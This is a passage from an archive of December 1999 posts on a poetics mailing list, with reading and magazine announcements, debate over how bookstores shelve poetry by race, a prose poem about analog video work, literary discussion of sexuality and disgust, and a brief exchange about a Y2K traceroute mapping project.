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145. Poetry Project
next week's readings
Thu 9 Dec 1999

Next week at the Poetry Project

Monday, December 13th at 8 pm

Daniel Bouchard & Marcella Durand

Daniel Bouchard's first full-length book, _Diminutive Revolutions_, is forthcoming in Jan/Feb from SubPress. His chapbook, "Wrackline," was published this year by Situations. He is the former editor of Mass Ave and a tenant organizer in Cambridge. He is overall a fine & diligent fellow. Marcella Durand is the author of _City of Ports_, published this year by Situations Press; the poetry editor of Erato Press, a fine-arts and letterpress based in New Orleans; the program coordinator and web-site editor for the Poetry Project; and the one writing this sentence. As pointed out to her this week, this reading will be the last Monday Night Event of the millennium.

Wednesday, December 15th at 8 pm

George Quasha & Charles Stein

Quasha is the author of Ainu Dreams (1999) and the co-editor of several anthologies, including America A Prophecy (with Jerome Rothenberg). With Charles Stein he is the publisher of Station Hill Books. Charles Stein is the author of 10 books of poetry, including _The Hat Rack Tree_. Since the early 1980s, Stein has been at work on _theforestforthetrees_, which he defines as a "textual practice." And yes, this will be the last Wednesday Night Event of the millennium.

Friday, December 17th at 10:30 pm

A Night of Taboos Part II: Closet Cases, Addiction, & Toilets

Featuring readers Cheryl B., Sharon Mesmer, Brian Blanchfield, Morris Kurzman, Douglas A. Martin, and Gojmir Polajnar. This will not only be the last Friday Night Event, etc. etc., but

the last event

before our Annual New Year's Day Marathon Reading

Saturday, January 1, 2000, 2 pm - past midnite. With 120 poets & performers including Patti Smith, Jim Carroll, Cecil Taylor, Richard Foreman, Lenny Kaye, Elliot Sharp, Dael Orlandersmith, and many more...$15; $12 for students, seniors & members, but volunteers get in free! (hint, hint) Call [redacted] for more information.

We have no programs from Dec. 20-31, and our office will be closed on Dec. 24th.

***

The Poetry Project is located in St. Mark's Church at the corner of 2nd Ave. & 10th St. in Manhattan. The Project is wheelchair accessible with assistance and advance notice. Please call [redacted] for more information. Regularly scheduled events are $7; $4 for students and seniors.

***

"Rise, all as you are,
let revolt shake the city and seize her!
Come
to us
in the USSR
I'll see to it
you all get a visa!"

-Vladimir Mayakovsky, "Paris (Chatting with the Eiffel Tower)"

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146. Louis Cabri
Open Letter Call for Letters
Thu 9 Dec 1999

The "Open Letter" issue of _Open Letter_ magazine

CALL FOR OPEN LETTERS TO POETS

Deadline: 28 February, 2000

We invite open letters to contemporary poets -- addressed across generations, aesthetic tendencies, communities, political boundaries. Letters received by 28 Feb. will be forwarded to the poets addressed; addressees will have a chance to reply and be included in our "Open Letter" _Open Letter_ Spring issue. We will consider publishing letters and responses, and letters that do not receive responses, and also poetry -- where doing so brings out a particular juncture of debate.

We are interested in complicating given literary lineages, in overturning abstract categorizations of poets' methods and socio-aesthetic formations, in rediscovering and questioning received critical formulae concerning a poets work or milieu, and in bringing about new close and historical readings and critiques. In this special issue of _Open Letter_, we want to emphazize the dialogic, analytical and constructivist possibilities of address to and between poets and socio-aesthetic tendencies, by means of the open letter's form of public intimacy. Our focus, then, is on the discursive letter, rather than on the poetic form of the letter (which has recently been explored in _Chain_ 6).

Our intent is to complicate how kinds of poetic "positions" articulate themselves, and are articulated, and are perceived as available and "occupied" in contemporary poetries-as aesthetic tendency, method, point of group identification, etc.

A willful return to a dated technology, but a return that harkens to founding motives of Open Letter magazine: the open letter. This special issue hopes to contribute to the current forums and formats available for poetic discussion. These include the Buffalo poetics listserv (and _Poetics@_, its recent anthology), the _PhillyTalks_ newsletter, which presents poets in written dialogue (and which this project most resembles), the question/answer model of _99 Poets_ (and its predecessors, back to _L=A=N=G=U=A=G=E_), the poet's talk as collected in, e.g., _Writing/Talks_, and the poet's essay -- from _Curriculum of the Soul_ to _Poetics Journal_, _Tripwire_ or _Shark_.

For inquiries, and to send your letter, please contact either of the editors:

Louis Cabri
[redacted]

Nicole Markotic
[redacted]

529B - 19th Ave S.W.
Calgary, Alberta
Canada T2S 0E3
(403) 283 - 1967

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147. Simon DeDeo
let's hear it for J H PRYNNE! / Hollo
Thu 9 Dec 1999

...but then, there's the question of whether or not one wants to lend any kind of legitimacy to the proceedings. That Pyrnne was on the list surprised me (argh! I confess! I read the New Yorker!) But given the sorry state of the New Yorker's

poetry these days ("no shoes, no shirt, no status as canonical writer, no service"), why sign your name to the current marketing techniques of "big press poetry", where a little sop to the "hip" is like the salsa with turkey.

The only reason I can think to bust out the vote for Prynne would be that if he made a decent showing, more might read his work.

-- Simon

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148. Toni Simon and Nick Piombino

Arcades Project-Walter Benjamin

Thu 9 Dec 1999

Apropos of the Seattle W.T.O. Meeting and Mayor Guiliani's banishment of the homeless:

"Of the coming society, it is said that 'nothing in the sanguinary, blasphemous, or unnatural dreams of the utopians can be compared to what will actually happen. . . .Rulers will be compelled, in order to maintain their position and create a semblance of order, to resort to methods that would appall present-day mankind, hardened as it is. . . .Justice- if, in this fortunate epoch, any justice can still exist- will forbid the existence of citizens who are unable to make a fortune. . . .those times are perhaps quite close at hand. Who knows whether they are not here already- whether it is not simply the coarsening of our natures that keeps us from noticing what sort of atmosphere we already breathe?'" Ch.B(audelaire)., Oeuvres, vol. 2,pp.640-641. [p.315, The Arcades Project; Walter Benjamin, Harvard U.P., 1999]

Nick Piombino

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149. Nate and Jane Dorward

*Fw: Addendum re: _Topological Shovel_*

Fri 10 Dec 1999

A query from Lawrence Upton on the British-Poets List about foreign currency payments prompts me to post the following. --N

Nate & Jane Dorward
[redacted]
109 Hounslow Ave., Willowdale, ON, M2N 2B1, Canada
ph: [redacted]

From: Nate and Jane Dorward <[redacted]>

To: Lawrence Upton <[redacted]>
Cc: British-Poets List <[redacted]>
Subject: Re: New Publication: Allen Fisher's _The Topological Shovel_
Date: Thursday, December 09, 1999 11:47 AM

Lawrence: thanks for pointing out the unclarity in the announcement (& the omission):

1) "payable on a Canadian bank" doesn't mean it's in Canadian funds or written from a Canadian bankaccount: it just means that it's a (UK or US) cheque (in UK or US funds) which my bank here will accept. Actually, most UK or US cheques are just fine here--I've only ever had one intractable problem (a cheque from the Poetry Library). The best thing to do is just to tell the teller at the bank what you're trying to do & ask if there will be any problems. -- If you decide to go with Canadian funds it's $15 Cdn to send one to the UK.

2) yes: Peter Riley (Books) will have the _Shovel_ for sale. Address: 27 Sturton St., Cambridge, CB1 2QG, UK; email: <[redacted]>.

I should lastly point out that the first volume of _Brixton Fractals_ has been recently reprinted by Tsunami Editions (Vancouver). I have a few spare copies if someone wants to purchase both the _Shovel_ and _Fractals_: the combined price would be $21 Cdn/ $15.50 US / 10 pounds 50 UK. It's also obtainable through Peter Riley or direct from Tsunami (#14—1507 East 2nd Ave., Vancouver, B.C., V5N 1C8, Canada; email: <[redacted]>).

all best --N

Nate Dorward
[redacted]
109 Hounslow Ave., Willowdale, ON, M2N 2B1, Canada
ph: [redacted]

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150. Katie Degentesh

Hey! Katie's on the radio

Fri 10 Dec 1999

Friends, fans, felines and foes:

Please tune in to 93.7 FM
this coming Monday, December 13th at 7 pm, when
I will read my own work and discuss the Bay Area "poetry scene"
with Michael Disend on his San Francisco Liberation Radio show,
"Wild Dog Wisdom."

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151. Alan Sondheim

rush1-5//

Fri 10 Dec 1999

/

rush // going into the frame buffer then out and lowering the pedestal before sending to the toaster where it coagulates with a frozen wipe set half-way according to the other half of the connection from the hi8 camera through the effects generator and the whole running into the other hi8 camera and connecting with the line input from the audio mixer and the effects box lined up with the mirage and guitar effects box, time base correctors all over the place for field freezing and signal corrections, eye always on the waveform monitor and vectorscope among the analog machines connected and interconnected with adobe premier and the relatively slow pc with the huge hard-drive getting its images from the hi8 output before closing out and slowly losing sync running through the toaster, the guitar set hard through the marshall amplifier raising and peaking the harmonics, cutting them out at the lean sound, shakuhachi and voice combined, azure and me on the floor, on the chair, microphones everywhere, the bolex tripod doubling as whole worlds look down on us, us, us

rush ii / new 3/4" edit deck replacing old worn-out broken belt, color camera connector held together by tape, hi8s freed for camera work, this 3/4" does insert so black-bursting at the moment through the toaster, setting up the 1970s character generator for the block look, beginning working this morning, now it's operating fine in roll crawl and grid mode, worked with the quicktime images today, as well as azure-ballet and other supporting or non-supporting materials, hokey guitar playing, some mirage as well but a great deal of speech processing, i had wanted to go that route, meanwhile insert editing didn't quite work without rollback on the hi8 cameras so i've been rerecording and cutting into the original 3/4" work since the hi8 rollback is ok for recording then rerecording with time base corrector and noise reduction into and through the matrix, constantly reworking the patchcords, also using the analog synthesizer this afternoon in order to switch between three cameras controlled with a voltage-controlled amplifier which then went into the effects on the toaster 4000 and out again through the usual checkups including phase which is always slightly off and pedestal always fiercely lowered, using the audio echo only sparingly and recording a long sequence with azure- ballet on the laptop and shooting off it with the hi8, then transferring it to the other hi8 with the tine base corrector and noise reduction to begin the sequencing described here

rush3 // azure in korean wedding dress and an abacus will play a role, reed flute, egyptian _nay,_ already at work for sound, moved all the equipment i brought to one end of the loft for more room, getting ready for still

photography, using the frame buffer again for comical alan waving the _nay,_ color camera placed in position, buffer creating noh images across the repetition and slow movement, facial closeups as one image is always slightly displaced from the other, the phase controls transforming colors into jades, will be a silent work except for clacking on occasion, nothing more, sound of abacus beads in noh rhythm framework, _nay_ playing improving, thinking about finnish folklore, shaman songs, noh plays again, some things from the upanishads, the equipment still silent behind me, decided not to use any of those things, looking at noise in the old 1970s text generator, it's forced into on-screen characters, just like a dream is forced from neural noise, thinking perhaps make a piece with all of this, the dreamwork of the machine manifest in a text which takes the indecipherable murmurings of the universe one step further

rush4 // or if not the universe one step further those insidious sysadmins who keep my day to a minimum of pleasure, stepping on my fabulous trace- route plans, one warning that if i had my way, y2k would look like a holi- day. if i were so lucky, the net would collapse of its own, one dialup connect to a happy isp and real audio or another duke nukem out of date saga and there goes the planet. meanwhile the hunger of the equipment calls me forth; it's roaring behind me; i can't escape it, or my depres- sion, which has deepened, bad sleep even here, my job worries following me everywhere, i live with death, i don't want to spend the next several dec- ades pathetically looking for work, my knowledge means nothing, i'm not a man blah blah, i'm not even human blah blah, i'm too full of self-hatred blahblah, i'm my own worst enemy blahblah, blahblahblablablablablblblbbbb, i don't know how azure puts up with me, or why, i must have my moments, they just don't stick around, back working with noise in the machine, the master tape has too much dropout (3/4"!), i'm sending through the time base correctors again and adding noise reduction by copying it to the hi8 5000 camera, back and forth, meanwhile the tr81 records tapes that jitter in the 5000, but the 5000 records tapes that play fine in the tr81 and the tr81 tapes play fine in it as well, recording out in bitter cold susque- hanna river, working the keying in the toaster and trying for a third source after recording electric guitar through air coupling (marshall amplifier, effects, etc. into microphone then into mixer and additional effects, resonating in the room for added texture, keeping the whole in balance), adding nay material to the five-second-delay setting, along with new shakuhachi work, now i work at dancing on the guitar too fast to see my hands, want that freedom of pure touch ahead of visual feedback, here i am on such and such a fret, need the internal roar, that's all i have left of me, this this this this this, this internal roar

rush5 // the harder days are those when i'm down, working through it, my music perhaps better, the video veering however into uncomfortable terri- tory, as

if i want my truths, but veiled. veiled truth - because the ob- verse is death of course. today working with azure again, keying in water images against a very flattened and somewhat hysteric to-be-determined studio imagery, as well as more musical recording. i worry that my hands will slow up; arthritic, i'll re- member the fingerboard of the guitar, al- most a physical memory, the very _thick_ of it, but not the skill the ab- ility to move fast, produce the complexity called for by the mind. when my fingers are invisible, it's the physical against the physical, sound com- ing in from the remnants of the world, what i can see, if i could see the things of space that make the air what it is, air-mountains and valleys, air-trees and rivers, all the air-creatures of this or any other earth. went out riding to johnson city, the village of johnson city, saw a very old working carousal there, as well as a pagoda housing parts of an elec- trical plant, which i photographed, came back and did another 45 minute music tape, only record- ing on one side, my fingers hardly moving at this point, but very satisfied with the sound, going for the shakuhachi later, it's dark out, river's right outside the window about twenty meters down, i've been feeling physically a lot healthier since i've been here, what a surprise, working with a digital delay system and upped it to 32 seconds for late-night recording and working with a digital short- wave as well, put up the antenna east/west this evening, only direction really possible in the building, working with themes of alienation, seduction, gender, the psychoanalytics of the image, the haunting of the imaginary - which brings up this intensive work with largely analog equipment, reading the old waveform monitors once again, tweaking everything from phase to gain to offset to pedestal, this _visual_ state-of-affairs, riding a system that refuses constructivity - the only subtext is that of the ntsc signal it- self, and the rest is amplitude, fre- quency, etc., with the delay, symbols for queen, mouth, wheel, superimposed over disheveled azure mouthing aah, my aah as well off-camera, she's in an open kimono, nothing revealed, glazed look, tripods everywhere, my mouth's long aaah in background, this for an evening, but this mindset of the analog, stringing units in any direction, shortwave in the background looking for num- bers stations, it's the spectral mother all over again, voices, voices, voices

---

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152. Leonard Brink

Re: CLASS (fwd)

Fri 10 Dec 1999

First of all, let me admit that I haven't been following this thread all
that closely because it bores me, and that I might be missing something as a result.
But I do find it odd that Katie's very mild post is characterized as

"vehement" and "reactionary" simply because she expresses a point of view that isn't consistent with the political hegemony/correctness that is the dominant discourse on this list.
Kathy Lou asks:
>What kind of world is it that you live in where it is
>possible to separate language from politics? from power?
>from race? from class? from gender?
Of course language can't be seperated from any of those things. They're made out of language. Poems are made out of language, too. But it just doesn't follow that poems are made of politics, class, etc.

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153. Roger Day
Re: The Traceroute Project - Please Participate (fwd)
Fri 10 Dec 1999

Umm. You miss my point :-) You could be part of the problem. Traceroute will generate a large amount of traffic in it's own right.

At 1999-12-08 23:30:49, Alan Sondheim <[redacted]> wrote: # If the Net grinds to a halt, traceroute would record this; I could see a # lot of broken limbs out there. Surprisingly, since this announcement has # gone the route so to speak, there's been very little indication of # duplication - one site is doing a visual look at the world, but more in # terms of the creation of an overall graphic - I'm more interested in the # bones of everything - Alan # # Internet Text at http://www.anu.edu.au/english/internet_txt # Partial at http://lists.village.virginia.edu/~spoons/internet_txt.html # Trace Projects at http://trace.ntu.ac.uk/writers/sondheim/index.htm #

Roger

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154. Mark Prejsnar
sociology of bookstores
Fri 10 Dec 1999

Simon DeDeo writes:

"The way the local poetry bookstore here, for example, organizes its books is by race.

Now, to a certain extent this ordering makes sense. But it does seem clear to me that I would never walk in to a bookstore and find a shelf "working class poetry", or if I did, I'd know immediately that it was a conscious decision on the

part of the manager rather than an acceptance of a particular, commonly accepted mode of putting the bricks in the boxes."

****

The overall shape of poetry in bookstores, tells us some interesting things about the current shape of culture. I have not seen too many stores that "organize their books by race," and the idea is pretty fascinating. When i lived in Boston, the magnificent poetry bookshop, Groliers, had essentially two sequences: almost all books of poetry, organized alphabetically by author, and a separate sequence taking up about three shelves, labelled Language Poetry. As the Boston poet Joe Torra pointed out to the owner, this was surely a major ghettoization kind of move, and represented a sharp (albeit ambiguous) statement....

I've just noticed Simon is writing from a Hahhvahd account: it isn't the current arrangement at Groliers you're referring to is it?

--m.

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155. **f i l c h**

Re: The Traceroute Project - Please Participate

Fri 10 Dec 1999

Traceroute is a simple event. Very little data is moved. The idea that this could cause the net to have problems is crazy. Even with all the other stuff to be moved on that date. I would suggest that with most businesses shut down the actual traffic on the network on the changeover will actually be smaller than average and certainly smaller than peaks from the past

It sounds to me like a great idea to map the hops at the change to the new year.

It seems pointless to refrain from doing this because of concerns about network stability.

Just my 2 cents.

filch

> *From: Alan Sondheim <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *Date: Wed, 8 Dec 1999 18:30:49 -0500*
> *To: [redacted]*
> *Subject: Re: The Traceroute Project - Please Participate (fwd)*
>
> *If the Net grinds to a halt, traceroute would record this; I could see a lot of broken limbs out there. Surprisingly, since this announcement has gone the route so to speak, there's been very little indication of duplication - one site is doing a visual look at the world, but more in*

> *terms of the creation of an overall graphic - I'm more interested in the bones of everything - Alan*
>
> *Internet Text at http://www.anu.edu.au/english/internet_txt*
> *Partial at http://lists.village.virginia.edu/~spoons/internet_txt.html*
> *Trace Projects at http://trace.ntu.ac.uk/writers/sondheim/index.htm*

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156. David Kirschenbaum
Call for Submissions: Booglit 7: The Baseball Issue
Fri 10 Dec 1999

Call for Submissions: Booglit 7: The Baseball Issue

Deadline 1/15/2000, Publication Date 3/15/2000

This issue will focus on the life and death of Pee Wee Reese and the 45th anniversary of the Brooklyn Dodgers only world championship, and be put together with the assistance, and feature an essay by, his son, Mark. It will also concentrate on the literary communities of Louisville, Kentucky--Reese's birthplace--and Brooklyn, New York.

I am especially looking for work on baseball, and work by Brooklyn and Louisville authors. General creative work is also accepted from the at-large community with no thematic or geographical restrictions.

Editorial Staff:
Anselm Berrigan, baseball poetry editor; Kent Fielding (White Fields Press) Louisville editor; and Chris Stroffolino, Brooklyn editor.

Submit up to five poems or pages of poetry, prose (includes reviews, interviews, and journalism, too), or artwork to:

David Kirschenbaum, editor
Booglit
351 W.24th St., Apt. 19E
NY, NY 10011-1510

Atnn: BL7

Email inquiries to: [redacted]

as ever,
David

Get FREE voicemail, fax and email at http://voicemail.excite.com
Talk online at http://voicechat.excite.com

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157. Poetics List Administration

Bernadette Mayer, David Byrne & the Marquis de Sade in latest Rain Taxi (fwd)

Fri 10 Dec 1999

---

this came the administrative account.

---------- Forwarded Message ----------
Date: Friday, December 10, 1999, 11:51 PM -0500
From: Gary Sullivan <[redacted]>
To: [redacted]
Subject: Bernadette Mayer, David Byrne & the Marquis de Sade in latest Rain Taxi

Rain Taxi Volume 4, No. 4 is now available.

Interviews with: Bernadette Mayer (by Bridget Shields) and David Byrne (by Eric Lorberer)

Rikki Ducornet, Rod Smith and David Eton on the Marquis de Sade

Reviews of new books by Mumia Abu-Jamal, Claribel Alegria, Anselm Berrigan, Edmund Berrigan, Angela Carter, Robert Creeley, Connie Deanovich, Laurie Foos, Jamie Gordon, John High, Agymah Kamau, Robert Kelly, Yoshitaka Kiyama, Paul Lisicky, Lisa Lubasch, Laura Mullen, Terri de la Pena, Georges Perec, Lynne Tillman, & dozens more ...

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"Critical Issues," Erik Belgum & I discuss the "Artistic Ruboff" concept

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---------- End Forwarded Message ----------

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158. Poetics List Administration

Group 4, response to DuPlessis and Bellamy (fwd)

Fri 10 Dec 1999

---

this came to the administrative account. Please make sure you send posts you want forwarded to the list to "[redacted]", not the "acsu" account. Thanks

_____

---------- Forwarded Message ----------
Date: Friday, December 10, 1999, 2:53 PM -0500
From: "Stefans, Brian" <[redacted]>
To: "'[redacted]'" <[redacted]>
Subject: Group 4, response to DuPlessis and Bellamy

I'm wasn't really sure how to respond to your post, Rachel, except perhaps to recycle some arguments from Sianne Ngai's "Poetics of Disgust" essay, which I don't have on hand. It seems, nonetheless, to have something to do with the "good doo doo" (a quote from a Deanna Ferguson poem) aspect of the "abject" corner of Language writing, and I guess is forcing a consideration of the ugliness of its clashing syllables versus the relative clarity of the references to thinkers such as Kristeva (whom I've never really read) and Freud. And to suggest, elsewhere, that the "dream" permits a sort of never coming to "terms" with gender, which I suppose is a position I am attracted to (I tend to call it enforced adolescence, hence putting it in a social scale) though would not quite know how to declare. McCaffery on semantic slippage in bpNichol's wordplay also comes to mind, but I'm not sure whether I should interpret the text or respond to it on its terms (a little of both, it seems). However, now that my stream-of-nothingness is running full speed, here is a direct connect:

I was reading Paul Goodman's Growing Up Absurd this morning on the subway, a book which is kind of boring to read all the way through, and when it's least boring it seems rather wrong, but nonetheless interesting as an attempted dialogue with a generation much younger than him, the Beats in the case of the chapter I find interesting. He writes, concerning the sexuality of the Beats:

"So perhaps another reason for their dropping the old physical jazz and revival is just the opposite, that the display of energy would upset their coolness, it would be embarrassing to make them feel too young. I wonder if this is not the simple explanation of their disdain of social dancing as "dry" sex; for certainly one of the reasonable uses of social dancing is body contact and sometimes sexual foreplay. But these boys are embarrassed to get an erection, to betray feeling, in public, though they are more than willing to take their clothes off and exhibit themselves, or to beat a drum wildly in public as an exhibition for the others, but not as contact with them." (182)

This addresses one paradox, as the purported "freedom" associated with running around naked that is held up against society's repression actually comes up cold in those moments within society in which "sexual foreplay" can be enacted in public. I remember reading in Habermas about the sixties political youth movements that there was a certain narcissism present in much of this activity that would limit the actions to displays, but that there was no chance for them to take the majority role once anything was achieved as their self-image would be disrupted. I think of this a fair amount (poets should dress like bankers, Auden once wrote), as I wonder how many are willing to make this flip from performative disdain to responsible member of a community should that community gain political weight, or whether anyone cares about this. Elsewhere Goodman writes of these male Beat poets have a "healthy sexuality" in fact, but he sees the role that women played in the community as primarily maternal, with the young men bursting into tears the moment someone like Kenneth Patchen says their poetry's childish, and the woman poet stepping in to coo reassurances in their ear. This seems a little opposite of what we generally take to be the story of the Beat era, whose best poets were gay and whose women poets were often radical individualists (is that a word?) but had been excluded from the male-centered self-canons. But Goodman makes it clear that "Beat" and "artist" were not synonymous (he argues many points regarding this), hence, though there were hundreds of people keeping notebooks and drawing pictures and calling themselves "artists", few had a framework for viewing the world in terms of social relations due to the pure excitment of the Beat community itself as experience. (This brings to mind something tangential: we all bitch and moan about how the "community" is not fer real today, it's just some pose, but actually, were the community to be as exciting and self-concerned as the Beats, we might have worse poets -- who knows.)

Anyway, to bring this back to Dodie's essay, there seems to be a paradox present in that she writes she is "working towards a writing that subverts sexual bragging, a writing that champions the vulnerable, the fractured, the disenfranchised, the sexually fucked-up," and at the same time would not want one with "x-ray vision" to see the "frayed elastic on my panties." Her essay itself, which argues for the person for whom "EAT SHIT" could be an erotic suggestion, seems to set up a forceful argument along the lines of "you must take all of this in to 'qualify' as a radical" via a very performative language -- she don't mince words -- and yet at the same time looks at the "vulnerable," and where radical sexuality crosses with social pose in the many anecdotes later on. So the abstraction of the "body", she argues, should be brought to some specific materiality probably through anecdote (as she is a prose writer), but on the other she as the reader becomes vulnerable once this body appears in the writing -- hence the challenge, the need for form in presenting oneself. Both pure

abstraction -- leaping from critical term to critical term -- and pure exhibitionism -- as I've heard at several New York poetry readings and probably not for the last time: "here is a poem about my CLITORIS" (hahaha goes the audience) -- fail because they don't engage with the struggle with form.

Well, I'm not asking everyone, i.e. these writers of the latter group, to mature; as I wrote above, I think the pre-adolescent mode of writing is perfectly legit (Rimbaud haunts this discussion, I feel, his sonnets about seeing the erect dicks of bulls at the county fair, for instance, combined with his Catholicism). However, it seems that part of the challenge is using this erotic tendency to "do good" in a way. I think some writers are doing this now, or are beginning to: a book I've received recently, by a guy named Garrett Caples, takes on the lack of eroticism in what he considers the "Victorian" underpinings of the Language poets is a case in point. So here is a younger poet using performatively "vulgar" language (the poem is called "Humped by Barrett Watten") to somehow address larger social issues, while trying to avoid what he would probably consider the castration of abstract terminology and the social control of theoretical models. I'm sure some people consider him inarticulate, mean, or completely untalented to do this in the way he does, but I think he's interesting precisely because his pose (or reality, who knows when he wrote these) is of an adolescent refusing to give up the directness of his pre-discursive, poly-sexual experience while keeping his eyes on the future, which is that of social scales of meaning, and potential conformity. (Some of the poems are really very good, a sure improvement on the "Beats", though tied to a nostalgic surrealism.) To quote Dodie on Samuel Delaney: "*Hogg* constantly compels the reader to choose one filth-laden situation *over* another, when most of us would simply want to be rid of the entire set of experiences." In language, this "set of experiences" would be words that are deemed counter-discursive, words of "disgust," the Calibanic perhaps, but also the discursive content when it is deemed offensive to sexual mores. So, Hogg forces us to conceive of a hierarchy of values, a structure, where once was a shit-mound of unassimilable experience; once this structure is conceived, what's to stop one from attaching it to the larger ethical structures we associate with democracy?

I feel like I could go on with this -- wanted to mention the new law against distributing "crush" videos, which I've read about in the Voice (I don't think cute animals should die for anyone's sexual pleasure myself) -- but this is probably too long.

Attached to this email, however, is a little poem that uses the words of Rachel's text. I ran some computer processes on it; actually, all I did was alphabetize the words in it and then construct shorter poems from them. However, various faults in the method left a cluster of non-alphabetized words at the top, and words that appear after m-dashes and slashes are not alphabetized. These

processes usually display the formless subconsious of certain texts, but it's hard to imagine a subconscious to Rachel's text -- it's so "exposed" -- so this actually provides a superego for it. Change or add to it what you will.

Ok, gotta run.

***

One Or Two Things I Don't Know About Her
or, "Dick's Sister" (Bellamy)

probably after Stacy Doris and Eugen Gomringer

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(and (as (ewe
"fixed-gendered, handsome!"
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(you ®

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"Arthur" as "Aye!"

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binaries/ bo/ Borders, But
butt Buy
Caucasians

Character?
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cinder cixous.
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come come) comes
-- conventional cunt curse...
cycle.

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delft delicious delight" delite dentist
dewy--eek dick's "ding ding"
(diplomatic
Dodie).

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dream, dream, dream. dream?
drip

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elf email emerge,
endless endocrine! enter
enterprised

err est esteem,
evenup everything
experience extra
exude eye

farce fed fellows:
female:
femur fittest
flaws flogs follows:

Food for Freud.
fustian gender gender gender gender
-- gender gendered genders, -- german
gill gizmo gimmick
good grownup guess

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hairiest half
has hat

he hearing heft
height -- touché herd
here: hershey hex

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his hiss hole
horses hose hulk

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oedipality?
oedipalized

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owl

own
oz.

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part pecs penies pennies
people, per perp
personal/social perverse, phallic
pip) place plenty ploy
poesy pointing poison/special
Policy polly
Poly poly-gendered
Polymorphous possibilities

pre-gender pre-oedipal prejudgment pride
pull purposes R, rare RE: ream, ream. ream? rear,
regressive relationships

Relay Riding,
ring Rizzo.
rogue.

roods
rote rough
round. rules,
sad said
sans sane
saturn

Say say say--gender scents.
Scissors scream.
Script sect self.

Semiphor send sensations...."
sense sensual set
sew Sex-sexual--to sexual.
sexuality sexuality sexuality
sexuality sexualized. sez shape

she shuns simple sin
single sister, sit sleeping
sleeping sleeting slits
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staged stations...." strafe
such sum sum sun swannery

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tup. uglies.

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under up. ur us
--Every us.

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van Vatically versicle,
Vertically vitamin ways.

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we--each wear wed
weenie weigh.
Weiner were Wet
wetter where whisper
who widow wills
wiper with writing
wrote
ya yam yon you you you
you you You've youall your
z
z
Z

---------- End Forwarded Message ----------

↑ Index

159. Ron Silliman
Vote for Prynne
Fri 10 Dec 1999

The reason to vote for Prynne is to demonstrate the difference in quality between what is being written these days and what gets published in the New Yorker itself.

Prynne, in this sense, could be any one of us. It's fine that it's him.

Ron Silliman

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

160. Jerrold Shiroma
Re: sociology of bookstores
Fri 10 Dec 1999

Well, Borders for one (where, I admit, I work) arranges literature via literature, with subsections (i.e. numbering systems for inventory purposes) for "African-American" literature, as well as another subsection (which is actually a subsection of the general psychology section) for Gay-Lesbian literature (which includes fiction as well as poetry...&, on a more interesting note, Gertrude Stein, Oscar Wilde, Jeanette Winterson, are included in the general literature section, while Robert Duncan, Jack Spicer, etc. are included in the general poetry section...although Justin Chin & the one book by Camille Roy are both in the Gay/Lesbian section). No other race (i.e. Asian-American, Chicano, Native American, and so on) &/or group are represented as such in the literature section.

-----Original Message-----
From: Mark Prejsnar <[redacted]>
To: [redacted]
<[redacted]>
Date: Friday, December 10, 1999 11:56 AM
Subject: sociology of bookstores

>Simon DeDeo writes:
>
>
>"The way the local poetry bookstore here, for example, organizes its

>books is by race.
>
> Now, to a certain extent this ordering makes sense. But it
does
>seem clear to me that I would never walk in to a bookstore and find a
>shelf "working class poetry", or if I did, I'd know immediately that
it
>was a conscious decision on the part of the manager rather than an
>acceptance of a particular, commonly accepted mode of putting the
bricks
>in the boxes."
>
>**********
>
>The overall shape of poetry in bookstores, tells us some interesting
>things about the current shape of culture. I have not seen too many
>stores that "organize their books by race," and the idea is pretty
>fascinating. When i lived in Boston, the magnificent poetry
bookshop,
>Groliers, had essentially two sequences: almost all books of poetry,
>organized alphabetically by author, and a separate sequence taking
up
>about three shelves, labelled Language Poetry. As the Boston poet
Joe
>Torra pointed out to the owner, this was surely a major ghettoization
kind
>of move, and represented a sharp (albeit ambiguous) statement....
>
>
>I've just noticed Simon is writing from a Hahhvahd account: it isn't
the
>current arrangement at Groliers you're referring to is it?
>
>--m.
>

↑ Index

161. **Maria Damon**
Re: sociology of bookstores
Fri 10 Dec 1999

grolier's does now categorize by not only race but ethnicity, nationality, sexuality, etc. i asked louisa about this and she said it helps the books move more quickly, ie. sales are better. for an idependent bookstore eking out an existence (and th eonly bookstore nationally to specialize exclusively in poetry) is makes sense to make a decision based on what will help the books sell. Moreover, on the subject of "working class poetry" as a category, that day may yet come. there's nothing eternal or unchanging about bookstore marketing categories.

At 8:59 AM -0500 12/10/99, Mark Prejsnar wrote:
>Simon DeDeo writes:
>
>
>"The way the local poetry bookstore here, for example, organizes its
>books is by race.
>
> Now, to a certain extent this ordering makes sense. But it does
>seem clear to me that I would never walk in to a bookstore and find a
>shelf "working class poetry", or if I did, I'd know immediately that it
>was a conscious decision on the part of the manager rather than an
>acceptance of a particular, commonly accepted mode of putting the bricks
>in the boxes."
>
>**********
>
>The overall shape of poetry in bookstores, tells us some interesting
>things about the current shape of culture. I have not seen too many
>stores that "organize their books by race," and the idea is pretty
>fascinating. When i lived in Boston, the magnificent poetry bookshop,
>Groliers, had essentially two sequences: almost all books of poetry,
>organized alphabetically by author, and a separate sequence taking up
>about three shelves, labelled Language Poetry. As the Boston poet Joe
>Torra pointed out to the owner, this was surely a major ghettoization kind
>of move, and represented a sharp (albeit ambiguous) statement....
>
>
>I've just noticed Simon is writing from a Hahhvahd account: it isn't the
>current arrangement at Groliers you're referring to is it?
>
>--m.

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162. Daniel Carter
Re: "Mirage #4/Period[ical]" #89, Atlanta issue
Fri 10 Dec 1999

On Wed, 1 Dec 1999 21:27:13, Kevin Killian wrote:

> *Hi, it's Kevin Killian. Dodie Bellamy and I have turned over the new issue of our zine "Mirage #4/Period[ical]" to the Atlanta Writers Group about whom we had been quite curious and now the issue (#89!!) is ready. Maybe it will open eyes all over the world about the interesting new writing scene in Atlanta. Anyhow, if anyone on this list would like a copy please back-channel me and I'll send you one. Please don't send money, this is a free offer and just send your address instead (unless you think I know it by heart). No solicitors will call...*
>
> *Kevin K.*

Kevin, and Dodie,

thanks so much, just got it in the mail today. looks good from the glimpse can't wait t' get into it. thanks to you for your graciousness and thanks unto the poets for theirs.

Daniel

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163. Jill Stengel
december and a+bend press
Fri 10 Dec 1999

dear friends of poetry,
there will not be a december reading at bluebar for the poetry reading and publication series synapse.

the series will resume on the second sunday in january.

happy holidays,
and thank you for a great year,**

jill stengel
a+bend press

ps-for the holidays: free shipping on book orders postmarked by dec 31,1999 (sorry, not valid for institutions)

** there is no institutional or corporate support, funding, "guidance," et cetera for a+bend press books or events. without your involvement, and, of course, the

